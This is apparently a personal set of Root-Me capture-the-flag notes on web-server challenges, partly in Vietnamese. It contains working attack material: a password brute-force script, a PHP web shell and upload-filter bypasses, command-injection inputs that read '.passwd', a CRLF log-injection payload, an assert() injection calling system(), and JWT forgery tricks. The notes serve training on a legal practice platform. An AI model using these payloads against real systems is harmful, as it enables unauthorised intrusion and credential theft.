🏝️Web - Server
Note : A JOURNEY TO GAIN KNOWLEDGE
Web - Server
F12 for flag

Syntax: X-Forwarded-For: <client>,<proxy1>,<proxy2>,<proxy3>
Change IP at client to private IP by adding an X-Forwarded-For header


It combines URL and hash md5 of that one, so that we just put other URL and hash of it.

4.HTTP - User-agent
change User-Agent to `admin`

5.Weak password
import requests
from requests.auth import HTTPBasicAuth
url = "http://challenge01.root-me.org/web-serveur/ch3/"
usr = "admin"
words = open('common_password.txt','r').read().split('\n')
cnt =1
for pwd in words:
	print(pwd,cnt)
	
	res = requests.get(url, auth=HTTPBasicAuth(usr, pwd))
	
	if "401" not in res.text:
		print('Password is ' + pwd)
		break
	cnt +=1
6.PHP - Command injection


7.Backup file
Use dirsearch find some interesting files:

/web-serveur/ch11/index.php~
8.HTTP - Directory indexing
http://challenge01.root-me.org/web-serveur/ch4/admin/backup/admin.txt

9.HTTP - Headers
With normal request we will get:

add Header to request:
Header-RootMe-Admin: True

10.HTTP - POST

11.HTTP - Improper redirect
Capture before it redirect

12.HTTP - Verb tampering
Ban đầu tưởng bruteforce ngồi xài hydra và cái rockyou.txt ra spam cả tiếng

temper ở đây là chỉ cần đổi method khác ngoài GET và POST là được, cứ PUT với DELETE mà phang

13.File upload - Double extensions
<?php echo shell_exec($_GET['cmd']); ?>set file.php.png and send to the server

?cmd=cd;cat .passwd14.File upload - MIME type

Change Content-Type to image/png and rce
?id=cd;cat .passwd15.HTTP - Cookies

change cookie from visiteur to admin
16.JSON Web Token (JWT) - Introduction

"none" signature algorithms
17.Directory traversal

Try with ../ and fuzz
18.JSON Web Token (JWT) - Weak secret

bruteforce secret key: lol

POST and look for the flag hm....

19.File upload - Null byte
create: file.php%0a.png
<?php echo shell_exec('id'); ?>

20.Install files
use dirsearch: /web-serveur/ch6/phpbb/install

21. JWT - Revoked token
source
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, request, jsonify
from flask_jwt_extended import JWTManager, jwt_required, create_access_token, decode_token
import datetime
from apscheduler.schedulers.background import BackgroundScheduler
import threading
import jwt
from config import *
 
# Setup flask
app = Flask(__name__)
 
app.config['JWT_SECRET_KEY'] = SECRET
jwtmanager = JWTManager(app)
blacklist = set()
lock = threading.Lock()
 
# Free memory from expired tokens, as they are no longer useful
def delete_expired_tokens():
    with lock:
        to_remove = set()
        global blacklist
        for access_token in blacklist:
            try:
                jwt.decode(access_token, app.config['JWT_SECRET_KEY'],algorithm='HS256')
            except:
                to_remove.add(access_token)
       
        blacklist = blacklist.difference(to_remove)
 
@app.route("/web-serveur/ch63/")
def index():
    return "POST : /web-serveur/ch63/login <br>\nGET : /web-serveur/ch63/admin"
 
# Standard login endpoint
@app.route('/web-serveur/ch63/login', methods=['POST'])
def login():
    try:
        username = request.json.get('username', None)
        password = request.json.get('password', None)
    except:
        return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
 
    if username != 'admin' or password != 'admin':
        return jsonify({"msg": "Bad username or password"}), 401
 
    access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
    ret = {
        'access_token': access_token,
    }
   
    with lock:
        blacklist.add(access_token)
 
    return jsonify(ret), 200
 
# Standard admin endpoint
@app.route('/web-serveur/ch63/admin', methods=['GET'])
@jwt_required
def protected():
    access_token = request.headers.get("Authorization").split()[1]
    with lock:
        if access_token in blacklist:
            return jsonify({"msg":"Token is revoked"})
        else:
            return jsonify({'Congratzzzz!!!_flag:': FLAG})
 
 
if __name__ == '__main__':
    scheduler = BackgroundScheduler()
    job = scheduler.add_job(delete_expired_tokens, 'interval', seconds=10)
    scheduler.start()
    app.run(debug=False, host='0.0.0.0', port=5000)Use python request to post data:
import requests
url = "http://challenge01.root-me.org/web-serveur/ch63/login"
myobj = {"username": "admin","password": "admin"}
x = requests.post(url, json = myobj)
print(x.text)
#{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjA3MzI2MjcsIm5iZiI6MTY2MDczMjYyNywianRpIjoiNzFjYTYxYTEtNjU1Yy00Zjk5LTkwM2ItODViZjBjMjI4ZmQ3IiwiZXhwIjoxNjYwNzMyODA3LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.7koOz8cupf0o2ZtMA_pr_03cKXq-uIcTgp6zGKMts-g"}The problem that we have to bypass blacklist because with each access_token it will be added to blacklist:
- with rfc3548 we can see that the character out of alphabet will be skipped 



- underscore “_” , then replace with “/” 

- add == in the end of jwt -> fast way to understand 


22. CRLF
Input -> fuzz
Thử nhập bừa username và passoword ta thấy rõ log ghi lại username -> tấn công từ đây

Mục tiêu là có thể log lạiadminauthenticated. 
?username=admin authenticated.%0d%0aa&password=bgửi payload trên url và urlencode để server decode lại

23. Insecure Code Management


24.PHP - assert()
Detect lỗi File Inclusion -> LFI via PHP's 'assert
Khả nghi:
GET /web-serveur/ch47/?page= ...command:
' and die(system("cat .passwd")) or '
Last updated

